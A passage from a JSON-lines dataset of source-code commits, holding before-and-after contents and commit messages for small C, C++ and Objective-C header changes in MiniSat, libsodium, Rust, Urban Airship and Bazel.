27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"dawehner\/root,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,dawehner\/root,dawehner\/root,bbannier\/ROOT,dawehner\/root,dawehner\/root,dawehner\/root,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT"}
{"commit":"080d3dbd798a116fb4159a3dbce3433b6229628c","old_file":"minisat\/mtl\/Rnd.h","new_file":"minisat\/mtl\/Rnd.h","old_contents":"","new_contents":"\/*******************************************************************************************[Rnd.h]\nCopyright (c) 2012, Niklas Sorensson\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and\nassociated documentation files (the \"Software\"), to deal in the Software without restriction,\nincluding without limitation the rights to use, copy, modify, merge, publish, distribute,\nsublicense, and\/or sell copies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or\nsubstantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT\nNOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\nDAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT\nOF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n**************************************************************************************************\/\n\n#ifndef Minisat_Rnd_h\n#define Minisat_Rnd_h\n\n#include \"minisat\/mtl\/Vec.h\"\n\nnamespace Minisat {\n\n\/\/ Generate a random double:\nstatic inline double drand(double& seed)\n{\n    seed *= 1389796;\n    int q = (int)(seed \/ 2147483647);\n    seed -= (double)q * 2147483647;\n    return seed \/ 2147483647;\n}\n\n\n\/\/ Generate a random integer:\nstatic inline int irand(double& seed, int size) { return (int)(drand(seed) * size); }\n\n\n\/\/ Randomly shuffle the contents of a vector:\ntemplate<class T>\nstatic void randomShuffle(double& seed, vec<T>& xs)\n{\n    for (int i = 0; i < xs.size(); i++){\n        int pick = i + irand(seed, xs.size() - i);\n        T tmp = xs[i];\n        xs[i] = xs[pick];\n        xs[pick] = tmp;\n    }\n}\n\n\/\/ Randomly shuffle a vector of a vector (ugly)\ntemplate<class T>\nstatic void randomShuffle(double& seed, vec<vec<T> >& xs)\n{\n    for (int i = 0; i < xs.size(); i++){\n        int pick = i + irand(seed, xs.size() - i);\n        vec<T> tmp; xs[i].moveTo(tmp);\n        xs[pick].moveTo(xs[i]);\n        tmp.moveTo(xs[pick]);\n    }\n}\n\n\n\/\/=================================================================================================\n} \/\/ namespace Minisat\n#endif\n","subject":"Move the random-generator to a more generic location.","message":"Move the random-generator to a more generic location.\n","lang":"C","license":"mit","repos":"jamesbornholt\/minisat,meteor\/minisat,meteor\/minisat,niklasso\/minisat,robertsami\/minisat,jamesbornholt\/minisat,robertsami\/minisat,mabdula\/minisat,meteor\/minisat,mabdula\/minisat,meteor\/minisat,niklasso\/minisat,mabdula\/minisat"}
{"commit":"c1aebf3ea9e5fc1881078b6f286049090766fdfa","old_file":"test\/default\/cmptest.h","new_file":"test\/default\/cmptest.h","old_contents":"\n#ifndef __CMPTEST_H__\n#define __CMPTEST_H__\n\n#include <stdio.h>\n\n#include \"sodium.h\"\n\n#ifndef TEST_SRCDIR\n#define TEST_SRCDIR \".\/\"\n#endif\n\n#define TEST_NAME_RES TEST_NAME \".res\"\n#define TEST_NAME_OUT TEST_SRCDIR \"\/\" TEST_NAME \".exp\"\n\n#ifdef HAVE_ARC4RANDOM\n# undef rand\n# define rand(X) arc4random(X)\n#endif\n\nFILE *fp_res;\nint   xmain(void);\n\nint main(void)\n{\n    FILE *fp_out;\n    int   c;\n\n    if ((fp_res = fopen(TEST_NAME_RES, \"w+\")) == NULL) {\n        perror(\"fopen(\" TEST_NAME_RES \")\");\n        return 99;\n    }\n    if (sodium_init() != 0) {\n        return 99;\n    }\n    if (xmain() != 0) {\n        return 99;\n    }\n    rewind(fp_res);\n    if ((fp_out = fopen(TEST_NAME_OUT, \"r\")) == NULL) {\n        perror(\"fopen(\" TEST_NAME_OUT \")\");\n        return 99;\n    }\n    do {\n        if ((c = fgetc(fp_res)) != fgetc(fp_out)) {\n            return 99;\n        }\n    } while (c != EOF);\n\n    return 0;\n}\n\n#undef  printf\n#define printf(...) fprintf(fp_res, __VA_ARGS__)\n#define main xmain\n\n#endif\n","new_contents":"\n#ifndef __CMPTEST_H__\n#define __CMPTEST_H__\n\n#include <stdio.h>\n\n#include \"sodium.h\"\n\n#ifndef TEST_SRCDIR\n# define TEST_SRCDIR \".\"\n#endif\n\n#define TEST_NAME_RES TEST_NAME \".res\"\n#define TEST_NAME_OUT TEST_SRCDIR \"\/\" TEST_NAME \".exp\"\n\n#ifdef HAVE_ARC4RANDOM\n# undef rand\n# define rand(X) arc4random(X)\n#endif\n\nFILE *fp_res;\nint   xmain(void);\n\nint main(void)\n{\n    FILE *fp_out;\n    int   c;\n\n    if ((fp_res = fopen(TEST_NAME_RES, \"w+\")) == NULL) {\n        perror(\"fopen(\" TEST_NAME_RES \")\");\n        return 99;\n    }\n    if (sodium_init() != 0) {\n        return 99;\n    }\n    if (xmain() != 0) {\n        return 99;\n    }\n    rewind(fp_res);\n    if ((fp_out = fopen(TEST_NAME_OUT, \"r\")) == NULL) {\n        perror(\"fopen(\" TEST_NAME_OUT \")\");\n        return 99;\n    }\n    do {\n        if ((c = fgetc(fp_res)) != fgetc(fp_out)) {\n            return 99;\n        }\n    } while (c != EOF);\n\n    return 0;\n}\n\n#undef  printf\n#define printf(...) fprintf(fp_res, __VA_ARGS__)\n#define main xmain\n\n#endif\n","subject":"Add a default value for TEST_SRCDIR","message":"Add a default value for TEST_SRCDIR\n","lang":"C","license":"isc","repos":"netroby\/libsodium,tml\/libsodium,SpiderOak\/libsodium,optedoblivion\/android_external_libsodium,Payshares\/libsodium,tml\/libsodium,Payshares\/libsodium,rustyhorde\/libsodium,JackWink\/libsodium,zhuqling\/libsodium,HappyYang\/libsodium,Payshare\/libsodium,akkakks\/libsodium,pyparallel\/libsodium,zhuqling\/libsodium,zhuqling\/libsodium,paragonie-scott\/libsodium,GreatFruitOmsk\/libsodium,eburkitt\/libsodium,akkakks\/libsodium,mvduin\/libsodium,rustyhorde\/libsodium,JackWink\/libsodium,Payshare\/libsodium,kytvi2p\/libsodium,SpiderOak\/libsodium,paragonie-scott\/libsodium,mvduin\/libsodium,Payshares\/libsodium,pyparallel\/libsodium,donpark\/libsodium,paragonie-scott\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,pmienk\/libsodium,kytvi2p\/libsodium,SpiderOak\/libsodium,rustyhorde\/libsodium,pyparallel\/libsodium,HappyYang\/libsodium,kytvi2p\/libsodium,soumith\/libsodium,GreatFruitOmsk\/libsodium,donpark\/libsodium,eburkitt\/libsodium,pmienk\/libsodium,donpark\/libsodium,eburkitt\/libsodium,JackWink\/libsodium,tml\/libsodium,SpiderOak\/libsodium,akkakks\/libsodium,mvduin\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,GreatFruitOmsk\/libsodium,netroby\/libsodium,pmienk\/libsodium,akkakks\/libsodium,soumith\/libsodium,optedoblivion\/android_external_libsodium,HappyYang\/libsodium,Payshare\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,rustyhorde\/libsodium,optedoblivion\/android_external_libsodium,netroby\/libsodium,soumith\/libsodium"}
{"commit":"d01ba2e824813f5ab4eb0b379caf77fe93d6911c","old_file":"src\/etc\/mingw-fix-include\/winsock2.h","new_file":"src\/etc\/mingw-fix-include\/winsock2.h","old_contents":"#ifndef _FIX_WINSOCK2_H\n#define _FIX_WINSOCK2_H 1\n\n#include_next <winsock2.h>\n\ntypedef struct pollfd {\n  SOCKET fd;\n  short  events;\n  short  revents;\n} WSAPOLLFD, *PWSAPOLLFD, *LPWSAPOLLFD;\n\n#endif\n","new_contents":"#ifndef _FIX_WINSOCK2_H\n#define _FIX_WINSOCK2_H 1\n\n#include_next <winsock2.h>\n\n\/\/ mingw 4.0.x has broken headers (#9246) but mingw-w64 does not.\n#if defined(__MINGW_MAJOR_VERSION) && __MINGW_MAJOR_VERSION == 4\n\ntypedef struct pollfd {\n  SOCKET fd;\n  short  events;\n  short  revents;\n} WSAPOLLFD, *PWSAPOLLFD, *LPWSAPOLLFD;\n\n#endif\n\n#endif \/\/ _FIX_WINSOCK2_H\n","subject":"Define WSAPOLLFD only on mingw 4.x","message":"Define WSAPOLLFD only on mingw 4.x\n\nFixes #10327\n","lang":"C","license":"apache-2.0","repos":"Ryman\/rust,andars\/rust,KokaKiwi\/rust,bhickey\/rand,kimroen\/rust,kwantam\/rust,jbclements\/rust,vhbit\/rust,jbclements\/rust,nham\/rust,rohitjoshi\/rust,AerialX\/rust-rt-minimal,erickt\/rust,GBGamer\/rust,aepsil0n\/rust,reem\/rust,defuz\/rust,nwin\/rust,nham\/rust,SiegeLord\/rust,miniupnp\/rust,rohitjoshi\/rust,XMPPwocky\/rust,pshc\/rust,mihneadb\/rust,mihneadb\/rust,mdinger\/rust,jashank\/rust,ktossell\/rust,michaelballantyne\/rust-gpu,servo\/rust,erickt\/rust,philyoon\/rust,krzysz00\/rust,mdinger\/rust,servo\/rust,reem\/rust,jbclements\/rust,krzysz00\/rust,kimroen\/rust,SiegeLord\/rust,servo\/rust,mihneadb\/rust,seanrivera\/rust,emk\/rust,kimroen\/rust,victorvde\/rust,nham\/rust,ejjeong\/rust,quornian\/rust,untitaker\/rust,ejjeong\/rust,nham\/rust,0x73\/rust,barosl\/rust,sae-bom\/rust,michaelballantyne\/rust-gpu,aneeshusa\/rust,zaeleus\/rust,jroesch\/rust,Ryman\/rust,miniupnp\/rust,kimroen\/rust,avdi\/rust,aepsil0n\/rust,mitsuhiko\/rust,ebfull\/rust,0x73\/rust,graydon\/rust,GBGamer\/rust,robertg\/rust,kimroen\/rust,ebfull\/rust,vhbit\/rust,aidancully\/rust,victorvde\/rust,mahkoh\/rust,kimroen\/rust,GBGamer\/rust,quornian\/rust,pshc\/rust,mdinger\/rust,jbclements\/rust,aepsil0n\/rust,fabricedesre\/rust,bluss\/rand,pelmers\/rust,untitaker\/rust,vhbit\/rust,AerialX\/rust,untitaker\/rust,ebfull\/rust,robertg\/rust,GBGamer\/rust,zaeleus\/rust,quornian\/rust,graydon\/rust,fabricedesre\/rust,P1start\/rust,mihneadb\/rust,stepancheg\/rust-ide-rust,nwin\/rust,AerialX\/rust,pythonesque\/rust,KokaKiwi\/rust,rprichard\/rust,robertg\/rust,avdi\/rust,richo\/rust,nwin\/rust,mitsuhiko\/rust,robertg\/rust,l0kod\/rust,hauleth\/rust,servo\/rust,rprichard\/rust,Ryman\/rust,carols10cents\/rust,pythonesque\/rust,mahkoh\/rust,bombless\/rust,graydon\/rust,stepancheg\/rust-ide-rust,jbclements\/rust,mahkoh\/rust,zachwick\/rust,miniupnp\/rust,ebfull\/rust,emk\/rust,carols10cents\/rust,krzysz00\/rust,andars\/rust,l0kod\/rust,KokaKiwi\/rust,avdi\/rust,zachwick\/rust,0x73\/rust,mitsuhiko\/rust,sae-bom\/rust,pczarn\/rust,jashank\/rust,AerialX\/rust-rt-minimal,hauleth\/rust,rprichard\/rust,AerialX\/rust-rt-minimal,cllns\/rust,robertg\/rust,seanrivera\/rust,victorvde\/rust,Ryman\/rust,gifnksm\/rust,stepancheg\/rust-ide-rust,michaelballantyne\/rust-gpu,jroesch\/rust,barosl\/rust,aturon\/rust,AerialX\/rust,defuz\/rust,AerialX\/rust-rt-minimal,zubron\/rust,TheNeikos\/rust,miniupnp\/rust,dwillmer\/rust,zubron\/rust,Ryman\/rust,nham\/rust,XMPPwocky\/rust,seanrivera\/rust,jashank\/rust,victorvde\/rust,reem\/rust,Ryman\/rust,AerialX\/rust-rt-minimal,kwantam\/rust,miniupnp\/rust,richo\/rust,XMPPwocky\/rust,nwin\/rust,aturon\/rust,aneeshusa\/rust,graydon\/rust,barosl\/rust,waynenilsen\/rand,TheNeikos\/rust,graydon\/rust,fabricedesre\/rust,cllns\/rust,dwillmer\/rust,ruud-v-a\/rust,aidancully\/rust,kwantam\/rust,seanrivera\/rust,untitaker\/rust,jroesch\/rust,SiegeLord\/rust,andars\/rust,jroesch\/rust,AerialX\/rust,mdinger\/rust,ktossell\/rust,zubron\/rust,GBGamer\/rust,krzysz00\/rust,pczarn\/rust,omasanori\/rust,ejjeong\/rust,bombless\/rust,GrahamDennis\/rand,mitsuhiko\/rust,seanrivera\/rust,KokaKiwi\/rust,vhbit\/rust,pythonesque\/rust,GBGamer\/rust,jashank\/rust,aturon\/rust,P1start\/rust,reem\/rust,mvdnes\/rust,pythonesque\/rust,SiegeLord\/rust,nham\/rust,jashank\/rust,sae-bom\/rust,victorvde\/rust,emk\/rust,ktossell\/rust,michaelballantyne\/rust-gpu,cllns\/rust,zaeleus\/rust,dinfuehr\/rust,zachwick\/rust,untitaker\/rust,richo\/rust,rprichard\/rust,huonw\/rand,erickt\/rust,pczarn\/rust,dinfuehr\/rust,mitsuhiko\/rust,defuz\/rust,cllns\/rust,stepancheg\/rust-ide-rust,AerialX\/rust,mvdnes\/rust,hauleth\/rust,philyoon\/rust,pythonesque\/rust,victorvde\/rust,pelmers\/rust,bombless\/rust,miniupnp\/rust,SiegeLord\/rust,XMPPwocky\/rust,pshc\/rust,rohitjoshi\/rust,sae-bom\/rust,philyoon\/rust,zubron\/rust,mitsuhiko\/rust,dwillmer\/rust,barosl\/rust,l0kod\/rust,defuz\/rust,andars\/rust,rohitjoshi\/rust,vhbit\/rust,kwantam\/rust,mihneadb\/rust,l0kod\/rust,michaelballantyne\/rust-gpu,gifnksm\/rust,avdi\/rust,mitsuhiko\/rust,bombless\/rust,zubron\/rust,ebfull\/rust,pczarn\/rust,pelmers\/rust,Ryman\/rust,aneeshusa\/rust,quornian\/rust,mvdnes\/rust,TheNeikos\/rust,miniupnp\/rust,SiegeLord\/rust,rprichard\/rust,ejjeong\/rust,rohitjoshi\/rust,kimroen\/rust,rprichard\/rust,TheNeikos\/rust,0x73\/rust,barosl\/rust,nwin\/rust,cllns\/rust,KokaKiwi\/rust,avdi\/rust,nwin\/rust,quornian\/rust,jbclements\/rust,avdi\/rust,erickt\/rust,aturon\/rust,servo\/rust,miniupnp\/rust,aepsil0n\/rust,fabricedesre\/rust,emk\/rust,stepancheg\/rust-ide-rust,pshc\/rust,jroesch\/rust,quornian\/rust,shepmaster\/rand,pelmers\/rust,aidancully\/rust,erickt\/rust,mvdnes\/rust,carols10cents\/rust,aepsil0n\/rust,servo\/rust,reem\/rust,aturon\/rust,sae-bom\/rust,zaeleus\/rust,barosl\/rust,mihneadb\/rust,XMPPwocky\/rust,philyoon\/rust,dinfuehr\/rust,servo\/rust,ktossell\/rust,gifnksm\/rust,jroesch\/rust,P1start\/rust,graydon\/rust,kwantam\/rust,omasanori\/rust,mahkoh\/rust,pczarn\/rust,nwin\/rust,dinfuehr\/rust,hauleth\/rust,hauleth\/rust,krzysz00\/rust,SiegeLord\/rust,andars\/rust,aidancully\/rust,ktossell\/rust,omasanori\/rust,omasanori\/rust,carols10cents\/rust,0x73\/rust,dinfuehr\/rust,GBGamer\/rust,pythonesque\/rust,emk\/rust,zaeleus\/rust,pshc\/rust,P1start\/rust,ruud-v-a\/rust,l0kod\/rust,jashank\/rust,ruud-v-a\/rust,P1start\/rust,zachwick\/rust,fabricedesre\/rust,omasanori\/rust,mvdnes\/rust,dinfuehr\/rust,seanrivera\/rust,jroesch\/rust,arthurprs\/rand,aepsil0n\/rust,P1start\/rust,pelmers\/rust,zubron\/rust,vhbit\/rust,gifnksm\/rust,hauleth\/rust,pelmers\/rust,mdinger\/rust,pythonesque\/rust,ejjeong\/rust,jbclements\/rust,zubron\/rust,XMPPwocky\/rust,reem\/rust,aturon\/rust,dwillmer\/rust,carols10cents\/rust,andars\/rust,l0kod\/rust,zachwick\/rust,0x73\/rust,nwin\/rust,retep998\/rand,defuz\/rust,bombless\/rust,fabricedesre\/rust,zachwick\/rust,P1start\/rust,pczarn\/rust,AerialX\/rust,fabricedesre\/rust,dwillmer\/rust,dwillmer\/rust,untitaker\/rust,rohitjoshi\/rust,barosl\/rust,pshc\/rust,ruud-v-a\/rust,pshc\/rust,richo\/rust,KokaKiwi\/rust,aturon\/rust,emk\/rust,TheNeikos\/rust,robertg\/rust,kwantam\/rust,bombless\/rust-docs-chinese,aneeshusa\/rust,bombless\/rust,aidancully\/rust,jroesch\/rust,dwillmer\/rust,cllns\/rust,pczarn\/rust,omasanori\/rust,philyoon\/rust,mdinger\/rust,ebfull\/rand,vhbit\/rust,krzysz00\/rust,dwillmer\/rust,jashank\/rust,zaeleus\/rust,pshc\/rust,philyoon\/rust,sae-bom\/rust,ebfull\/rust,jashank\/rust,jbclements\/rust,aneeshusa\/rust,ktossell\/rust,l0kod\/rust,ktossell\/rust,aneeshusa\/rust,stepancheg\/rust-ide-rust,carols10cents\/rust,defuz\/rust,zubron\/rust,mahkoh\/rust,erickt\/rust,jbclements\/rust,stepancheg\/rust-ide-rust,l0kod\/rust,mahkoh\/rust,emk\/rust,AerialX\/rust-rt-minimal,aidancully\/rust,gifnksm\/rust,achanda\/rand,michaelballantyne\/rust-gpu,0x73\/rust,nham\/rust,GBGamer\/rust,ejjeong\/rust,ruud-v-a\/rust,vhbit\/rust,erickt\/rust,ruud-v-a\/rust,gifnksm\/rust,michaelballantyne\/rust-gpu,TheNeikos\/rust,quornian\/rust,richo\/rust,mvdnes\/rust,richo\/rust"}
{"commit":"f638f8ac83763778ac5cca5b74674a058ccc1a07","old_file":"Airship\/Common\/UAAction.h","new_file":"Airship\/Common\/UAAction.h","old_contents":"\/*\n Copyright 2009-2013 Urban Airship Inc. All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n 2. Redistributions in binaryform must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided withthe distribution.\n\n THIS SOFTWARE IS PROVIDED BY THE URBAN AIRSHIP INC``AS IS'' AND ANY EXPRESS OR\n IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO\n EVENT SHALL URBAN AIRSHIP INC OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#import <Foundation\/Foundation.h>\n\n@interface UAAction : NSObject\n\n@end\n","new_contents":"\/*\n Copyright 2009-2013 Urban Airship Inc. All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n 2. Redistributions in binaryform must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided withthe distribution.\n\n THIS SOFTWARE IS PROVIDED BY THE URBAN AIRSHIP INC``AS IS'' AND ANY EXPRESS OR\n IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO\n EVENT SHALL URBAN AIRSHIP INC OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#import <Foundation\/Foundation.h>\n#import \"UAActionArguments.h\"\n\ntypedef BOOL (^UAActionPredicate)(UAActionArguments *);\n\n@interface UAAction : NSObject\n\n@end\n","subject":"Add action predicate block typedef","message":"Add action predicate block typedef\n","lang":"C","license":"bsd-2-clause","repos":"mikerowan\/ios-library,ipmobiletech\/ios-library,grosch\/ios-library,manuyavuz\/ios-library,ipmobiletech\/ios-library,zhangqinghe\/ios-library,mikerowan\/ios-library,manuyavuz\/ios-library,mikerowan\/ios-library,manuyavuz\/ios-library,ipmobiletech\/ios-library,grosch\/ios-library,zhangqinghe\/ios-library,grosch\/ios-library,zhangqinghe\/ios-library"}
{"commit":"37265a87c7aa9743a2b20069be85d03529b18534","old_file":"src\/main\/cpp\/blaze_abrupt_exit.h","new_file":"src\/main\/cpp\/blaze_abrupt_exit.h","old_contents":"\/\/ Copyright 2016 The Bazel Authors. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\n\/\/ blaze_abrupt_exit.h: Deals with abrupt exits of the Blaze server.\n\/\/\n#ifndef THIRD_PARTY_BAZEL_SRC_MAIN_CPP_BLAZE_ABRUPT_EXIT_H_\n#define THIRD_PARTY_BAZEL_SRC_MAIN_CPP_BLAZE_ABRUPT_EXIT_H_\n\nnamespace blaze {\n\nclass GlobalVariables;\n\n\/\/ Returns the exit code to use for when the Blaze server exits abruptly.\nint GetExitCodeForAbruptExit(const GlobalVariables& globals);\n\n}  \/\/ namespace blaze\n#endif  \/\/ THIRD_PARTY_BAZEL_SRC_MAIN_CPP_BLAZE_ABRUPT_EXIT_H_\n","new_contents":"\/\/ Copyright 2016 The Bazel Authors. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\n\/\/ blaze_abrupt_exit.h: Deals with abrupt exits of the Blaze server.\n\/\/\n#ifndef THIRD_PARTY_BAZEL_SRC_MAIN_CPP_BLAZE_ABRUPT_EXIT_H_\n#define THIRD_PARTY_BAZEL_SRC_MAIN_CPP_BLAZE_ABRUPT_EXIT_H_\n\nnamespace blaze {\n\nstruct GlobalVariables;\n\n\/\/ Returns the exit code to use for when the Blaze server exits abruptly.\nint GetExitCodeForAbruptExit(const GlobalVariables& globals);\n\n}  \/\/ namespace blaze\n#endif  \/\/ THIRD_PARTY_BAZEL_SRC_MAIN_CPP_BLAZE_ABRUPT_EXIT_H_\n","subject":"Fix compile warning for struct\/class mismatch","message":"Fix compile warning for struct\/class mismatch\n\n.\/compile.sh is giving:\n\n$ .\/compile.sh build bazel-bin\/src\/bazel\n🍃  Building Bazel with Bazel.\nINFO: Found 1 target...\nINFO: From Compiling src\/main\/cpp\/blaze.cc:\nIn file included from src\/main\/cpp\/blaze.cc:58:\n.\/src\/main\/cpp\/blaze_globals.h:42:1: warning: 'GlobalVariables' defined as a struct here but previously declared as a class [-Wmismatched-tags]\nstruct GlobalVariables {\n^\n.\/src\/main\/cpp\/blaze_abrupt_exit.h:23:1: note: did you mean struct here?\nclass GlobalVariables;\n^~~~~\nstruct\n1 warning generated.\n\n--\nMOS_MIGRATED_REVID=111863702\n","lang":"C","license":"apache-2.0","repos":"meteorcloudy\/bazel,mikelalcon\/bazel,iamthearm\/bazel,juhalindfors\/bazel-patches,damienmg\/bazel,kchodorow\/bazel,juhalindfors\/bazel-patches,iamthearm\/bazel,davidzchen\/bazel,LuminateWireless\/bazel,dropbox\/bazel,dslomov\/bazel,mikelikespie\/bazel,damienmg\/bazel,safarmer\/bazel,safarmer\/bazel,hermione521\/bazel,mikelikespie\/bazel,iamthearm\/bazel,safarmer\/bazel,anupcshan\/bazel,cushon\/bazel,Asana\/bazel,Asana\/bazel,hermione521\/bazel,akira-baruah\/bazel,dslomov\/bazel-windows,ulfjack\/bazel,anupcshan\/bazel,juhalindfors\/bazel-patches,kchodorow\/bazel,anupcshan\/bazel,ulfjack\/bazel,ulfjack\/bazel,snnn\/bazel,abergmeier-dsfishlabs\/bazel,snnn\/bazel,LuminateWireless\/bazel,hhclam\/bazel,Asana\/bazel,rohitsaboo\/bazel,dslomov\/bazel,aehlig\/bazel,abergmeier-dsfishlabs\/bazel,damienmg\/bazel,dropbox\/bazel,mrdomino\/bazel,mikelikespie\/bazel,kchodorow\/bazel,davidzchen\/bazel,perezd\/bazel,dropbox\/bazel,davidzchen\/bazel,cushon\/bazel,dslomov\/bazel,juhalindfors\/bazel-patches,kchodorow\/bazel-1,ButterflyNetwork\/bazel,LuminateWireless\/bazel,akira-baruah\/bazel,mikelikespie\/bazel,mbrukman\/bazel,aehlig\/bazel,juhalindfors\/bazel-patches,iamthearm\/bazel,mikelalcon\/bazel,bazelbuild\/bazel,ulfjack\/bazel,snnn\/bazel,cushon\/bazel,werkt\/bazel,aehlig\/bazel,anupcshan\/bazel,bazelbuild\/bazel,mikelalcon\/bazel,zhexuany\/bazel,damienmg\/bazel,werkt\/bazel,variac\/bazel,spxtr\/bazel,rohitsaboo\/bazel,snnn\/bazel,variac\/bazel,dslomov\/bazel,UrbanCompass\/bazel,zhexuany\/bazel,iamthearm\/bazel,werkt\/bazel,mbrukman\/bazel,aehlig\/bazel,akira-baruah\/bazel,dslomov\/bazel-windows,akira-baruah\/bazel,spxtr\/bazel,meteorcloudy\/bazel,davidzchen\/bazel,kchodorow\/bazel-1,ulfjack\/bazel,dslomov\/bazel-windows,whuwxl\/bazel,kchodorow\/bazel-1,mrdomino\/bazel,variac\/bazel,juhalindfors\/bazel-patches,kchodorow\/bazel,twitter-forks\/bazel,LuminateWireless\/bazel,UrbanCompass\/bazel,abergmeier-dsfishlabs\/bazel,juhalindfors\/bazel-patches,variac\/bazel,perezd\/bazel,hermione521\/bazel,perezd\/bazel,UrbanCompass\/bazel,spxtr\/bazel,bazelbuild\/bazel,perezd\/bazel,aehlig\/bazel,kchodorow\/bazel-1,rohitsaboo\/bazel,safarmer\/bazel,kchodorow\/bazel,mikelalcon\/bazel,zhexuany\/bazel,davidzchen\/bazel,twitter-forks\/bazel,UrbanCompass\/bazel,LuminateWireless\/bazel,zhexuany\/bazel,variac\/bazel,snnn\/bazel,werkt\/bazel,perezd\/bazel,perezd\/bazel,dslomov\/bazel-windows,meteorcloudy\/bazel,cushon\/bazel,ButterflyNetwork\/bazel,mbrukman\/bazel,damienmg\/bazel,variac\/bazel,ulfjack\/bazel,hhclam\/bazel,mbrukman\/bazel,twitter-forks\/bazel,akira-baruah\/bazel,ButterflyNetwork\/bazel,hermione521\/bazel,katre\/bazel,whuwxl\/bazel,katre\/bazel,twitter-forks\/bazel,spxtr\/bazel,mrdomino\/bazel,mikelalcon\/bazel,abergmeier-dsfishlabs\/bazel,mrdomino\/bazel,katre\/bazel,dslomov\/bazel,snnn\/bazel,Asana\/bazel,aehlig\/bazel,akira-baruah\/bazel,hhclam\/bazel,hhclam\/bazel,dropbox\/bazel,dslomov\/bazel-windows,LuminateWireless\/bazel,twitter-forks\/bazel,ButterflyNetwork\/bazel,aehlig\/bazel,variac\/bazel,rohitsaboo\/bazel,damienmg\/bazel,dslomov\/bazel,meteorcloudy\/bazel,katre\/bazel,hhclam\/bazel,meteorcloudy\/bazel,cushon\/bazel,davidzchen\/bazel,kchodorow\/bazel-1,whuwxl\/bazel,bazelbuild\/bazel,hermione521\/bazel,mrdomino\/bazel,bazelbuild\/bazel,ulfjack\/bazel,kchodorow\/bazel,meteorcloudy\/bazel,davidzchen\/bazel,mikelalcon\/bazel,perezd\/bazel,safarmer\/bazel,spxtr\/bazel,damienmg\/bazel,whuwxl\/bazel,dropbox\/bazel,mrdomino\/bazel,hhclam\/bazel,rohitsaboo\/bazel,mikelikespie\/bazel,katre\/bazel,twitter-forks\/bazel,mikelikespie\/bazel,kchodorow\/bazel,anupcshan\/bazel,werkt\/bazel,Asana\